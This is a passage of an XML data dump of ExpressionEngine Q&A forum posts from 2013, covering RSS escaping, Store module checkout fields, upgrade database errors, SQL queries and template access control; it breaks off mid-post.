  <row Id="14399" PostTypeId="2" ParentId="14367" CreationDate="2013-10-08T11:19:15.237" Score="0" Body="&lt;p&gt;Have you visited the IP to Nation module in the CP and hit the 'Update IP Database' button on the top right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without doing that, there are no IPs to check against and the tag won't work as expected&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-10-08T11:19:15.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14400" PostTypeId="2" ParentId="14386" CreationDate="2013-10-08T12:47:22.923" Score="2" Body="&lt;p&gt;I've had a blog post in the works for 2 years with almost exactly the title of your question! You've motivated me to quickly finish it off, update it and publish it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-beginners-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-beginners-guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-10-08T12:47:22.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14401" PostTypeId="2" ParentId="14350" CreationDate="2013-10-08T12:58:48.860" Score="3" Body="&lt;p&gt;Unfortunately you can't make the required fields conditional. The Store/Zoo Visitor/Channel Form fields provide an option to set specific fields as being required but if you set these then they will always be required on form submission regardless of which option the user selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason the best solution is to NOT set them as required fields in the template tags (server-side) but use JS/jQuery to handle this instead. That way EE wont grumble about form fields not being filled out when they're set to be required. You can then handle it all conditionally on the front-end and react to user selection.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-10-08T12:58:48.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14402" PostTypeId="1" AcceptedAnswerId="14408" CreationDate="2013-10-08T13:03:18.163" Score="2" ViewCount="2216" Body="&lt;p&gt;Here's a link to &lt;a href=&quot;http://feedvalidator.org/check.cgi?url=http://www.terry.uga.edu/rss/terry-sound-business#l225&quot; rel=&quot;nofollow&quot;&gt;my RSS feed's failed validation&lt;/a&gt;. Nevermind the subtitles being too long, I'll fix that later. But fixing these special characters is a pill and in company names where it's part of their brand fixture, I can't readily change &quot;&amp;amp;&quot; to &quot;and&quot;. How can I escape these characters? In the channel entry, the channel field type is sometimes Wyvern (already escaped the HTML character) and sometimes simply Text Input, which I believe is plain text right?&lt;/p&gt;&#xA;" OwnerUserId="1992" LastActivityDate="2013-10-08T15:33:46.057" Title="How do I escape characters in an RSS feed?" Tags="|fieldtype|rss|html-entities|wyvern|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14403" PostTypeId="2" ParentId="14402" CreationDate="2013-10-08T13:47:12.347" Score="1" Body="&lt;p&gt;As a workaround, you could wrap the offending content in &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/CDATASection&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;&amp;lt;![CDATA[{content}]]&amp;gt;&lt;/code&gt;&lt;/a&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;description&amp;gt;&#xA;&amp;lt;![CDATA[&#xA;{body}&#xA;]]&amp;gt;&#xA;&amp;lt;/description&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This won't actually escape the characters, but it will tell the validator to not worry about it.&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2013-10-08T13:47:12.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14404" PostTypeId="2" ParentId="14396" CreationDate="2013-10-08T14:24:06.463" Score="0" Body="&lt;p&gt;I would strongly recommend not using MSM for this; I think it will cause you more problems than it solves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you considered having different category groups for each country and then on listing pages, limiting by category_id in the weblog:entries tag?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2013-10-08T14:24:06.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14405" PostTypeId="1" CreationDate="2013-10-08T14:30:10.323" Score="1" ViewCount="101" Body="&lt;p&gt;I'm trying to get Expresso working with Low Variables - but it's not playing nicely :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error from my template when I view the site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method&#xA;  Low_fieldtype_bridge::get_setting() in&#xA;  /xxxxxxx/system/expressionengine/third_party/low_variables/mod.low_variables.php&#xA;  on line 148&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-02-12T21:49:00.333" Title="Error when using Expresso with Low Variables" Tags="|low-variables|expresso|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14406" PostTypeId="2" ParentId="13859" CreationDate="2013-10-08T14:54:22.127" Score="2" Body="&lt;p&gt;It's possible to ignore the built-in &lt;code&gt;{stars}&lt;/code&gt; and &lt;code&gt;{starts_overall_avg}&lt;/code&gt; tags and just output the numbers using the &lt;code&gt;{rating}&lt;/code&gt; and &lt;code&gt;{overall_avg}&lt;/code&gt; tags instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to do some clever things such as add variable class names to elements depending on the rating. Your CSS can then use these class names to alter the display of the data. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;star-{rating} rating&quot;&amp;gt;{rating}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now use the CSS class to affect how the number is displayed by showing images other than stars and hiding the rating number using CSS text replacement techniques if desired.&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2013-10-08T14:54:22.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14408" PostTypeId="2" ParentId="14402" CreationDate="2013-10-08T15:33:46.057" Score="4" Body="&lt;p&gt;unexplainedBacn is right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can also use the &lt;strong&gt;XML Encode&lt;/strong&gt; plugin for this. It's actually included with ExpressionEngine&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This plugin converts reserved XML characters to entities. It is used&#xA;  in the RSS templates.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To use this plugin, wrap anything you want to be processed by it&#xA;  between these tag pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:xml_encode}&#xA;    text you want processed&#xA;{/exp:xml_encode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To see more on usage go to Add-ons &gt; Plugins &gt; XML Encode in your EE Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-10-08T15:33:46.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14409" PostTypeId="2" ParentId="14386" CreationDate="2013-10-08T16:00:06.007" Score="2" Body="&lt;p&gt;The best thing I can suggest is READ READ READ. Look over the tutorials and examine the sample sites that come with the installs. I got thrown into the mix fast and hard in the beginning and it caused a lot of confusion and a gateway to &quot;bad habits&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike Boink was a Godsend in my time of need. He has several tutorials and a good book to get here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials&quot; rel=&quot;nofollow&quot;&gt;Tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.train-ee.com/courseware/books/detail/building-an-expressionengine-2-site-small-business/&quot; rel=&quot;nofollow&quot;&gt;Book&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another great resource of knowledge is Ryan Ireland. He also has some great resources here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mijingo.com/products/screencasts/learning-expressionengine-2-complete-series/&quot; rel=&quot;nofollow&quot;&gt;Tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mijingo.com/products&quot; rel=&quot;nofollow&quot;&gt;Books&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jae over at &lt;a href=&quot;http://www.ejaedesign.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.ejaedesign.com/&lt;/a&gt; has great training courses too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are a ton of people that have helped and that have excellent resources. The entire community is great when it comes to helping each other out. Twitter will become your best friend. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-08T16:00:06.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14410" PostTypeId="1" AcceptedAnswerId="14416" CreationDate="2013-10-08T16:32:55.823" Score="1" ViewCount="39" Body="&lt;p&gt;What is the best way to continue building a large site segment in which content can be added, previewed, and edited while the site is live but not seen in certain channels? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have multiple ways of doing this, but I am always open to learn newer or better ways to improve my workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the situation: I have a large MSM site which consists of multiple subdomains. The old site is still live as the rebuild has to happen along side of the original which is a kluge of .net, static, EE1, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as the new site is designed and the old site becomes obsolete, I will need to open up various segments of the redesign (new), and close off the old site. Using 301's for the old content to the new content should help me with keeping my &quot;juice&quot; and traffic stats, but I am unsure of the best way to handle continuous development in the rebuild site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have www.mydomain.com and say three channels as market-1, market-2, and market-3. I will build out market-1 and have it &quot;live&quot;. While this is the case, I need to be able to develop in market-2 and market-3, adding entries, testing, etc. Is this possible without doing it on a development install and needing to port all of the fieldtypes, entries, etc. over? This is what I would like to avoid. I was hoping for a way to &quot;close&quot; a channeluntil it is ready for production viewing.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-08T19:06:33.993" Title="System 'on' and Site 'on' - Can you keep a channel segment 'closed'?" Tags="|ee2|channel|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14412" PostTypeId="2" ParentId="14379" CreationDate="2013-10-08T17:44:18.510" Score="0" Body="&lt;p&gt;I noticed this as well, but didn't have time to look into it further. I'd say it's a bug and I don't see it currently in the bug tracker.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-10-08T17:44:18.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14413" PostTypeId="2" ParentId="14224" CreationDate="2013-10-08T17:46:13.097" Score="1" Body="&lt;p&gt;As far as I know there is no limit, or no one has found it yet..;)&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-10-08T17:46:13.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14414" PostTypeId="1" AcceptedAnswerId="14687" CreationDate="2013-10-08T18:27:01.320" Score="2" ViewCount="109" Body="&lt;p&gt;I'm wondering what would be the best implementation for a pizza store. The workflow would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User adds a pizza (product) to their cart.&lt;/li&gt;&#xA;&lt;li&gt;User is able to add a la carte toppings to their pizza, each of which increases the price slightly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm assuming some combination of price modifiers would do the trick, but I'm not sure if you are able to add multiple modifiers to a single product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or suggestions would be helpful, thanks!&lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2013-10-17T21:01:25.533" Title="What would be a reasonable configuration for a pizza store?" Tags="|expresso-store|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="1" CreationDate="2013-10-08T18:29:07.997" Score="3" ViewCount="174" Body="&lt;p&gt;I wondered if you could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated my local site to new ee 2.7 and that went swell. I pushed up my files to the server and I can get the /admin.php login page but when I press login i get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'used' in 'where clause'&#xA;&#xA;UPDATE `exp_security_hashes` SET `used` = 1 WHERE `used` = 0 AND `hash` = '04ec7161468a13c61c984f39f646a76073bdab56' AND `session_id` = 0 AND `date` &amp;gt; 1381249552&#xA;&#xA;Filename: core/EE_Security.php&#xA;&#xA;Line Number: 169&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across this from updating the ee cms before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-11-14T09:44:46.773" Title="Why do I get database error when I log into my updated ee site" Tags="|ee2|database|ee2-upgrades|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="2" ParentId="14410" CreationDate="2013-10-08T19:06:33.993" Score="1" Body="&lt;p&gt;A &quot;channel segment&quot; or a URL segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of URL segments, you can protect the templates using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if 0 == logged_in_member_id }&#xA;{redirect='404'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can restrict the access &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/template_access.html&quot; rel=&quot;nofollow&quot;&gt;to the templates by CP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-10-08T19:06:33.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="2" ParentId="14390" CreationDate="2013-10-08T19:09:42.740" Score="1" Body="&lt;p&gt;You will have to run a query to get the data. You should be able to run the following against the member_group field of the member.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channels.channel_title, exp_channel_fields.field_label, exp_channel_fields.field_name, exp_channel_fields.field_type, exp_channel_member_groups.channel_id FROM exp_channels, exp_channel_fields, exp_channel_member_groups WHERE exp_channel_member_groups.group_id = '6' AND exp_channel_member_groups.channel_id = exp_channels.channel_id AND exp_channels.field_group = exp_channel_fields.group_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in EE, run a exp:query like this maybe: (Should at least get you going) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Member Group : {member_group}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;Channel&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Field&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Type&amp;lt;/th&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;        {exp:query sql=&quot;&#xA;            SELECT channel_title, field_label, field_name, field_type&#xA;                FROM exp_channels a&#xA;                JOIN exp_channel_member_groups b on b.channel_id = a.channel_id&#xA;                JOIN exp_channel_fields c on c.group_id = a.field_group&#xA;                WHERE b.group_id = '7'&#xA;        &quot;}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{channel_title}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{field_label} - {field_name}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{field_type}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/exp:query}&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you'll have to figure a way to get your member's {group_id} into where '7' is now.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-08T19:09:42.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14418" PostTypeId="2" ParentId="14415" CreationDate="2013-10-08T19:11:38.963" Score="3" Body="&lt;p&gt;When you upgraded to 2.7, do you recall the first time you accessed admin.php seeing the upgrade screen? And once the upgrade was complete, removing the installer directory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like your db has not been upgraded. For example, open your db and check exp_security_hashes table for the 'used' column. Sounds like it is missing. Could be others things missing too if upgrade wasnt completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you follow these &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-10-08T19:20:12.547" LastActivityDate="2013-10-08T19:20:12.547" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="1" AcceptedAnswerId="14424" CreationDate="2013-10-08T19:34:02.560" Score="1" ViewCount="308" Body="&lt;p&gt;I am looking for a way to create a custom field to be used during the checkout process that a user can check if the would like to receive e-mail updates. I have attempted to add the {order_custom1} field and specified as a checkbox but it still returns a text input field.  This is the code I am using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;order_custom1&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;            {field:order_custom1} Check here if you would like to receive updates about The Journey&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to do this?&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2015-05-14T17:41:50.383" Title="Expresso:store custom field as checkbox" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14420" PostTypeId="1" CreationDate="2013-10-08T19:39:09.577" Score="2" ViewCount="148" Body="&lt;p&gt;I have the following code in my template, which displays articles that have been tagged as 'related' through a relationship to the current article being viewed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog_entries&quot; require_entry=&quot;yes&quot; url_title=&quot;{segment_3}&quot;}&#xA;{related_articles}&#xA;&#xA;   {if related_articles:count == 1}&#xA;      &amp;lt;div  id=&quot;related-articles&quot; class=&quot;row&quot;&amp;gt;&#xA;         &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col span-12&quot;&amp;gt;&amp;lt;h3&amp;gt;Related Articles&amp;lt;/h3&amp;gt;&amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;&#xA;   &amp;lt;div class=&quot;col span-4&quot;&amp;gt;&#xA;      &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/blog/article/{related_articles:url_title}&quot;&amp;gt;{related_articles:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;   {if related_articles:count == related_articles:total_count}&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;&#xA;{/related_articles}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for articles that have a relationship set up. My problem is that on articles that do not have any related articles set up via a relationship, the closing {/related_articles} tag is displayed in the page render. What am I doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here are some screenshots indicating the results I am getting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a test blog post that has a related article:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HTz35.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/HTz35.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a test blog post that does not have a related article:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QRkv0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/QRkv0.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2160" LastEditorUserId="2160" LastEditDate="2013-10-09T15:25:15.180" LastActivityDate="2013-11-01T14:11:40.897" Title="Closing relationship tag displays when no relationship found" Tags="|channel-entries|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14421" PostTypeId="1" AcceptedAnswerId="14448" CreationDate="2013-10-08T19:58:04.497" Score="3" ViewCount="648" Body="&lt;p&gt;For security reasons we were recommended to upgrade to the latest version of php (from version 5.3 to version 5.5.X) to fix all the possible bugs out there for that version, however I'm a little bit worried because we have more than 100+ sites in EE (Versions 2.1,2.2,2.3) and if we upgrade our PHP the websites could stop working.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Am I worrying too much for this? or there's something that I should&#xA;consider before make the big upgrade&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2162" LastEditorUserId="2162" LastEditDate="2013-10-09T12:58:14.423" LastActivityDate="2013-10-09T17:48:32.753" Title="upgrading multiple versions of EE to php 5.5" Tags="|php|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14422" PostTypeId="2" ParentId="14421" CreationDate="2013-10-08T21:28:35.377" Score="3" Body="&lt;p&gt;I wouldn't go updating a production server without running any tests first. I'd mirror your production server first and then test the sites individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the only way you'll guarantee to be headache free.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-10-08T21:28:35.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14423" PostTypeId="1" CreationDate="2013-10-08T22:06:34.590" Score="0" ViewCount="102" Body="&lt;p&gt;I'm trying to implement Chosen as a front to a Playa-field in my Zoo Visitor channel. Entering data isn't a problem, but obviously I want to have the currently selected entry selected as default. This wasn't behaving as expected, so I stripped everything down to the following bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:update_form&#xA;    return='profiel'&#xA;    class='custom profile'&#xA;    allowed_groups='7'&#xA;}&#xA;    {member_employer var_prefix=&quot;employer&quot;}{employer:entry_id}{/member_employer}&#xA;{/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load this template, it outputs &lt;code&gt;810&lt;/code&gt;, which isn't even an actual entry. When I output the value in another template between &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; tags it outputs the expected entry_id of &lt;code&gt;243&lt;/code&gt;. I've tried removing the var_prefix (which was only added later for debugging to be safe anyway). Any idea what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-10-09T07:47:54.123" Title="Playa field not outputting expected value in zoo visitor update form" Tags="|safecracker|playa|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14424" PostTypeId="2" ParentId="14419" CreationDate="2013-10-09T00:12:37.680" Score="4" Body="&lt;p&gt;The &lt;code&gt;{field:something_here}&lt;/code&gt; tag will always create a text input with a few exceptions of countries, regions, and state fields will return a select box. If you want to addd a checkbox or radio or similar you would need to do something along the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;order_custom1&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;order_custom1&quot; value=&quot;Yes&quot; /&amp;gt; Check here if you would like to receive updates about The Journey&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will display &quot;Yes&quot; in the Store &gt; Orders &gt; Order Detail section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create any custom input element you just need to set the name of the input field to whatever you are trying to collect. One thing to mention that when you are not using the &lt;code&gt;{field:somethinghere}&lt;/code&gt; approach for text inputs you need to use the field name in curly brackets in the value field if you would like to repopulate the existing information. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;billing_address&quot; value=&quot;{billing_address}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-10-09T18:48:36.233" LastActivityDate="2013-10-09T18:48:36.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="1" CreationDate="2013-10-09T05:29:00.933" Score="1" ViewCount="166" Body="&lt;p&gt;I am new to the Store module. Store module is working only the Control Panel logged in members. If I'm not logged into the Control Panel, Side bar Cart is showing that: &quot;Your cart is empty&quot;. When I click on Add to Cart it's not working either. It is working only when CP is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? any Configuration settings please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine 2.6.1 and Store module is: 1.6.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ramesh Teegapur&lt;/p&gt;&#xA;" OwnerUserId="2166" LastEditorUserId="425" LastEditDate="2013-10-09T09:12:58.103" LastActivityDate="2013-10-09T09:27:14.540" Title="Adding items to cart" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14427" PostTypeId="2" ParentId="13743" CreationDate="2013-10-09T05:30:10.800" Score="0" Body="&lt;p&gt;This has been accepted as a bug by Ellislabs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19707&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19707&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-09T05:30:10.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14428" PostTypeId="2" ParentId="13588" CreationDate="2013-10-09T05:31:20.587" Score="1" Body="&lt;p&gt;It is a channel permission issue. Thanks to Derek for the answer.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-09T05:31:20.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14429" PostTypeId="1" CreationDate="2013-10-09T05:36:52.180" Score="1" ViewCount="1275" Body="&lt;p&gt;I am on EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my channel form tag that has grid data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;xxxxx&quot;&#xA;    class=&quot;form-horizontal&quot;&#xA;    datepicker=&quot;no&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    edit_member=&quot;yes&quot;&#xA;    entry_id=&quot;{embed:entry_id}&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    id=&quot;basic_information&quot;&#xA;    include_assets=&quot;yes&quot;&#xA;    include_jquery=&quot;yes&quot;&#xA;    member_id=&quot;CURRENT_USER&quot;&#xA;    rules:profile_name=&quot;required&quot;&#xA;    rules:user_provided_address=&quot;required&quot;&#xA;    return=&quot;/xxxxx/&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the page I am using Grid, I have tried doing various permutations of &lt;code&gt;include_assets&lt;/code&gt; and &lt;code&gt;include_jquery&lt;/code&gt; to make an JS error go away because it blocks Grid from working properly(Grid relies on JS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CASES&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;include_assets=&quot;yes&quot;&lt;/code&gt;, &lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have this JS error in the console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: EE is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the script being included &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 